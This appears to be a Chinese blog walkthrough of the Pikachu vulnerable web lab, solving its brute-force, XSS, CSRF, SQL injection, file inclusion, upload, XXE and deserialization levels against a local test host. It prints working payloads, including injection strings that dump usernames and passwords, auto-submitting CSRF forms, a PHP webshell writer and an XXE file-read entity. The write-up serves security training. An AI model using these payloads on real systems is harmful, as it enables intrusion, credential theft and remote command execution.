【Web安全】pikachu靶场做题过程

pikachu靶场

暴力破解

基于表单的暴力破解

第一题是基于表单的暴力破解,随便输入账号密码,使用burpsuite抓包,发送到Intruder模块进行爆破,这里假设我们需要爆破admin管理员的数据:

在这里插入图片描述

接着设置payloads,这里导入我的密码集,点击start attack:

在这里插入图片描述

根据返回包的长度确定,密码为123456

验证码绕过(on server)

题目背景:我们并不知道管理员密码是多少,因为需要验证码所以爆破起来遇到了困难。

点击F12查看验证码图片的元素可以发现,每点击一次就会发送到后端:

<img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();">
  • 我们先输入错误的验证码发现会显示验证码错误并且burpsuite抓到包了,所以得出这是后端验证的,和题目标题吻合。
  • 我们输入一个正确的验证码,会发现有两个包,其中最后一个包是发送到改变验证码脚本的,我们先试着把这个包放掉,看看后面的验证码可以使用前一个的不?

在这里插入图片描述

由上可知,当验证码正确的时候会校验账号密码。接着放掉第二个包不让验证码刷新,再提交一次表单,输入上一次的验证码,得到验证码可以再一次使用,所以可以进行上一关一样的爆破方法。

在这里插入图片描述

验证码绕过(on client)

  • 使用F12查看源代码,查看产生验证码的元素:
<input type="text" onclick="createCode()" readonly="readonly" id="checkCode" class="unchanged" style="width: 100px">
  • 通过上面的代码可以发现存在鼠标事件onclick,指向的是一个函数,我们查看这一个函数:

在这里插入图片描述

可以知道这是一个javascript函数,是个摆设我们只需要在浏览器设置禁用js代码即可实现绕过,之后的intruder模块破解密码同上。

token防爆破?

token参数是附在url中的,目的就是为了为每一个请求表单都附上唯一性,token很长,但也不是不可以绕过的,有时候token的值会在元素之中只不过被隐藏了而已。

这一道题在我们进行请求的时候token的值附在了username和password后面,这说明token有可能在form表单之中只不过被隐藏了。

在这里插入图片描述

查看form表单,可以发现以下代码,token的的属性被设置为hidden这说明在页面之中是不显示的。

<input type="hidden" name="token" value="2457165ec020f53c6e353867747">

burpsuite的intruder可以根据页面的内容来改变每一次的请求:

首先将数据报发送到intruder模块,接着选中要爆破的对象,这里是密码和token值。Settings–>Grep-Extract–>Add–>fetch response接着选中token的值复制即可,模块会自动进行正则匹配,点击OK。

在这里插入图片描述

回到Payloads选项,将密码爆破对象配置好就行。

在这里插入图片描述

Cross-Site Scripting

反射型xss(get)

在输入框中随便输入一些东西,发现输入的内容回显至界面,F12查看回显内容的元素,因此构造闭合使用script标签。

<p class="notice">who is 123123,i don't care!</p>

在输入内容时候发现有长度限制,查看元素发现是前端有长度限制:

<input class="xssr_in" type="text" maxlength="20" name="message">

对此我使用harkbar或者抓包修改:

在这里插入图片描述

http://192.168.221.129/pikachu/vul/xss/xss_reflected_get.php?message=123123<script>alert(1)</script>&submit=submit

反射型xss(post)

这一道题是需要登录进去的,所以我们使用管理员账号登录进去发现是一个输入框,我们可以在这里构造xss攻击。对于需要登录的xss攻击,攻击者可以构造带有脚本代码的url或者使用钓鱼网站让用户点击进行构造好的表单,由于cookie的有效期一般不是很短,所以攻击者可以获取用户有效的cookie。

在这里插入图片描述

存储型xss

这类xss攻击危害型很大,会导致网络蠕虫攻击,每一个看到这个留言板的人都会执行脚本代码。

123<input type='text' onfocus='alert(1)' value=''>
123<script>alert(1)</script>

DOM型xss

DOM型xss是不会与数据库进行交互的,我们输入的内容会会回显到页面上,F12发现我们输入的东西会成为一个链接,所以使用javascript伪协议:

在这里插入图片描述

在这里插入图片描述

<a href="javascript:alert(1)">what do you see?</a>

DOM型xss-x

这一关对输入的内容进行隐藏,隐藏的方式很简单也就是点击一下它的“伤心往事”就会弹出来了,第一个点击存在鼠标事件onclick:

<a href="#" onclick="domxss()">有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

查看domxss函数发现,我们输入的内容没有进行过滤就直接拼接到第二个点击之中:

在这里插入图片描述
所以还是可以使用javascript伪协议:

在这里插入图片描述

xss之盲打

打开网站发现这是一个反馈区,所以我们可以在反馈内容之中插入脚本代码,只要后台管理员看到了他的cookie就会被盗取

在这里插入图片描述
在这里插入图片描述

xss之过滤

输入<script>alert(1)</script>发现<script被过滤了,所以我们不用script标签,使用input的鼠标事件

123<input type="text" onclick=alert(1) value=''>

在这里插入图片描述

xss之htmlspeacialchars

这一道题感觉使用的htmlspeacialchars函数没有用上,F12查看元素就会发现可以直接使用伪协议就不用想怎么去绕过了:

在这里插入图片描述

xss之href输出

我们输入之后会出现一个跳转语句,F12查看元素发现输入的数据回显至href之中,所以使用javascript伪协议:

在这里插入图片描述

xss之js输出

输入数据之后没有回显,想想是js输出那就试试找js代码,F12发现存在有js函数

<script>
   $ms='123';
   if($ms.length != 0){
       if($ms == 'tmac'){
           $('#fromjs').text('tmac确实厉害,看那小眼神..')
       }else {
//            alert($ms);
           $('#fromjs').text('无论如何不要放弃心中所爱..')
       }

   }
</script>

我们输入只要输入tmac就行了,所以我们构造if的闭合:

1)<script>alert(1)</script>('

CRSF

CRSF(get)

攻击者使用钓鱼网站诱惑用户点击,而去处就是修改用户信息的界面,由于用户本身有cookie而cookie有一定时效性所以伪造的网站可以修改受害者的信息。

<a href="http://192.168.229.199/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=666&phonenum=666&add=666&email=666&submit=submit">hahahahaha</a>

CSRF(post)

<form action="http://192.168.229.202/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" id="register" method="post" >

   <input type=text name="sex" value=""/>
   <input type=password name="phonenum" value=""/>
   <input type=text name="add" value=""/>
   <input type=text name="email" value=""/>
   <input type=submit name="submit" value="submit"/>

</form>

<script>
   var f = document.getElementById("register");
   f.elements["sex"].value = "test";
   f.elements["phonenum"].value = "test";
   f.elements["add"].value = "test";
   f.elements["email"].value = "test";
   setTimeout(function() { f.submit(); }, 1000);
</script>

这一道题也是一样,攻击者可以伪造一个钓鱼网站来修改用户信息。同样上面的input元素也可以使用hidden隐藏起来。

CSRF Token

使用了token参数貌似可以避免CRSF钓鱼攻击,但是js其实可以爬取网站的源代码的,如下代码:

<!DOCTYPE html>
<html lang="en">

<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>CSRF Token Fetcher</title>
   <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>

<body>

   <form action="http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php" id="register" method="get">
       <input type="hidden" name="sex" value="crsf">
       <input type="hidden" name="phonenum" value="crsf">
       <input type="hidden" name="add" value="crsf">
       <input type="hidden" name="email" value="crsf">
       <input type="hidden" name="token" id="token" value="">
       <input type="submit" name="submit" value="Submit">
   </form>

   <script>
       document.addEventListener('DOMContentLoaded', function () {
           fetchToken();
       });

       function fetchToken() {
           fetch('http://192.168.221.129/pikachu/vul/csrf/csrftoken/token_get_edit.php')
               .then(response => response.text())
               .then(html => {
                   const parser = new DOMParser();
                   const doc = parser.parseFromString(html, 'text/html');
                   const tokenInput = doc.querySelector('input[type="hidden"][name="token"]');
                   if (tokenInput) {
                       const tokenValue = tokenInput.value;
                       document.getElementById('token').value = tokenValue;
                       alert('Token Value: ' + tokenValue); // 弹出警告框显示token值 
                   } else {
                       console.error('Failed to find the token input field.');
                   }
               })
               .catch(error => {
                   console.error('Error fetching token:', error);
               });
       }  
   </script>

</body>

</html>

在这里插入图片描述

在这里插入图片描述

SQL-Inject

数字型注入(post)

确认闭合方式,得到是数字型注入

id=1'

查看字段数,得到字段数是2段

id=1 order by 2
id=1 order by 3

查看回显位,发现1和2都可以

id=-1 union select 1,2

获取数据

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
id=-1 union select 1,group_concat(username,0x3a,password) from users

字符型注入(get)

判断闭合发现这是单引号闭合

?name=a' -- #

接着直接获取全部数据就行了

?name=kobe' or '1'='1

或者使用报错注入获取想要的数据:

?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and '1'='1 
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) and '1'='1
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3) and '1'='1 

搜索型注入

简单输入一些东西发现这是使用了like模糊搜索,所以闭合的时候要加上百分号

?name=k%' or '1'='1'--+

所以可以知道这是百分号加上单引号闭合,由于尝试的时候有报错信息,所以直接使用报错注入

?name=k%' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+

xx型注入

由报错信息得知这是单引号加括号闭合,所以构造闭合

?name=1') --+

由于有报错信息所以使用报错注入

?name=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+

”insert/update“注入

在注册一个账号然后登录进去,看到一个修改个人信息界面,在修改电话号后加一个单引号发现存在报错,所以进行闭合

sex=123&phonenum=123'#&add=123&email=123&submit=submit

利用报错注入获取数据

sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where  table_name='users' and table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)#&add=123&email=123&submit=submit

”delete“注入

随便加个单引号得出是数字型注入,并且由报错信息判断可以使用报错注入

?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)

"http header"注入

登陆进去发现网站记录了我的ip地址,user agent,http accept和端口,所以我选择在user agent中注入:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where tabel_schema=database())),3) or '

在这里插入图片描述

盲注(base on boolian)

没有报错信息没有回显位,只有查询到和不查询到所以可以使用布尔盲注

?name=kobe' and substr(database(),1,1)='p

通过改变每一位猜测的数字可以得到数据。

盲注(base on time)

没有报错信息没有回显,并且搜索成功与否的界面是一样的,所以考虑使用时间盲注

在这里插入图片描述

宽字节注入

使用%df与转移符号结合,使得引号有效

在这里插入图片描述

在这里插入图片描述

RCE

exec “ping”

在这里插入图片描述

exec “evel”

这是一个evel危险函数,输入phpinfo();看一下效果:
在这里插入图片描述

File Inclusion

File Inclusion(local)

为了更好表现文件包含漏洞,我在服务端创建了一个test.txt,首先我们先进行抓包,然后参数filename为test.txt:
在这里插入图片描述

同时我们可以利用目录穿越../来获取敏感文件

File Inclusion(remote)

远程文件包含可以允许远程包含函数去读取远程站点上的代码文件,那就意味着。攻击者,可以自己搭一个站点,然后再上面放一个代码,这个代码文件就是攻击者自己控制的,它想怎么写就怎么写,然后在把对应的路径通过前端传到后台,那后台的包含函数,就会对远程路径下的文件进行加载,这个危害是非常大的,比如说,我们可以直接在远端去写一句话木马,然后让本地去执行,这意味着,我们直接把一句话木马,就放到了我们的目标站点上,然后就是实现了目标站点上的远程控制

pikachu下有一个test目录,里面有一个txt文件,下面是这个文件的内容,意思就是创建一个shell.php文件,作用是一句话木马。

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>

首先先进行抓包,修改filename:

在这里插入图片描述
可以看到文件包含目录下出现了一个一句话木马文件:在这里插入图片描述

Unsafe Filedownload

Unsafe Filedownload

点击球员图片进行下载,用burpsuite进行抓包,利用目录穿越修改下载地址:在这里插入图片描述

Unsafe Fileupload

client check

这种检查是在用户的浏览器端进行的。它可能包括检查文件扩展名、文件大小等。这里使用phpinfo()进行测试。上传php文件会出现弹窗:
在这里插入图片描述
所以我们上传png文件,用burpsuite抓包,修改filenama的后缀在这里插入图片描述
上传成功,得到文件保存路径,就可以访问了。

MIME type

MIME类型是一种标准,用来表示文件的格式。服务器可以检查上传文件的MIME类型,以确定它是否为可接受的类型。直接上传php文件,发现客户端没有对该文件进行拒绝,发送之后显示“上传的图片只能是jpg,jpeg,png格式的!”,所以推断服务器端对文件类型进行了限制。所以我们进行抓包,对请求头的Content-Type进行修改,对于Content-type是什么,可以自行搜索。在这里插入图片描述
上传成功,得到文件保存路径,就可以访问了。

getimagesize

这个php函数会判断你上传文件的特点,比如说尺寸、文件头等等。常见的绕过方式为:文件头修改、双重扩展名、特别构造图像文件等。常见的文件头标志如下:

  • JPEG/JPG:FFD8FF
  • PG:89504E47
  • GIF:474946383961
  • HTML:68746D6C3E
    这里就使用GIF,其中474946383961是GIF89a的ASCII HEX的转换。在这里插入图片描述
  • 得到文件的路径之后还不可以直接访问,因为它会把文件当作图片来解析,此时就需要文件包含漏洞来解析。在这里插入图片描述

Over Permission

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

未授权

首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是未授权:在这里插入图片描述

水平越权

首先这一道题先点击右上角得到账号密码,我这里是登录lucy的账号,进去之后开启抓包,点击查看个人信息,包里的usernama是可以随意改的,这就是水平授权,这里和上面一样:在这里插入图片描述

垂直越权

首先我们先登录超级用户admin,点击新增用户将包发送到repeater,退出登录普通用户pikachu,将pikachu用户的cookie复制下来替换repeater里面的cookie,这样也可增加新用户,这就是水平越权。

在这里插入图片描述

…/…/

目录遍历

在这里插入图片描述

敏感信息泄露

IcanseeyourABC

有时候为了测试会把一些信息放在源代码中然后就忘记删除了,这一关就是这样

在这里插入图片描述

php反序列化

php反序列化漏洞

class S{
   var $test = "pikachu";
   function __construct(){
       echo $this->test;
   }
}
$html='';
if(isset($_POST['o'])){
   $s = $_POST['o'];
   if(!@$unser = unserialize($s)){
       $html.="<p>大兄弟,来点劲爆点儿的!</p>";
   }else{
       $html.="<p>{$unser->test}</p>";
   }

}

查看源代码,传入**O:1:“S”:1:{s:4:“test”;s:29:“<script>alert(‘xss’)</script>”;}**构造php反序列化漏洞

XXE

XXE漏洞

if(isset($_POST['submit']) and $_POST['xml'] != null){


   $xml =$_POST['xml'];
//    $xml = $test;
   $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
   if($data){
       $html.="<pre>{$data}</pre>";
   }else{
       $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
   }
}
<?xml version="1.0"?>  <!DOCTYPE foo [     <!ENTITY xxe SYSTEM "file://你想要的文件" > ]>  <foo>&xxe;</foo>

URL重定向

不安全的URL跳转

在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-13 00:54:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-13 00:54:01       101 阅读
  3. 在Django里面运行非项目文件

    2024-03-13 00:54:01       82 阅读
  4. Python语言-面向对象

    2024-03-13 00:54:01       91 阅读

热门阅读

  1. LeetCode每日一题[C++]-2129.将标题首字母大写

    2024-03-13 00:54:01       48 阅读
  2. 【LeetCode】 删除链表的倒数第 N 个结点

    2024-03-13 00:54:01       41 阅读
  3. css---定位

    2024-03-13 00:54:01       44 阅读
  4. 高防IP有哪些防御方法?

    2024-03-13 00:54:01       44 阅读
  5. C++ struct 结构体类型

    2024-03-13 00:54:01       39 阅读
  6. 数据结构-单链表

    2024-03-13 00:54:01       36 阅读
  7. 状态模式在交易策略开发中的应用

    2024-03-13 00:54:01       43 阅读
  8. openssl3.2 - exp - generate prime

    2024-03-13 00:54:01       41 阅读
  9. 深入探讨C#中的递归算法

    2024-03-13 00:54:01       34 阅读
  10. 竹云3.6(日常实习)面经(20min)

    2024-03-13 00:54:01       47 阅读
  11. 计算器系统基础知识-校验码

    2024-03-13 00:54:01       45 阅读
  12. 互联网常见专业词汇汇总

    2024-03-13 00:54:01       47 阅读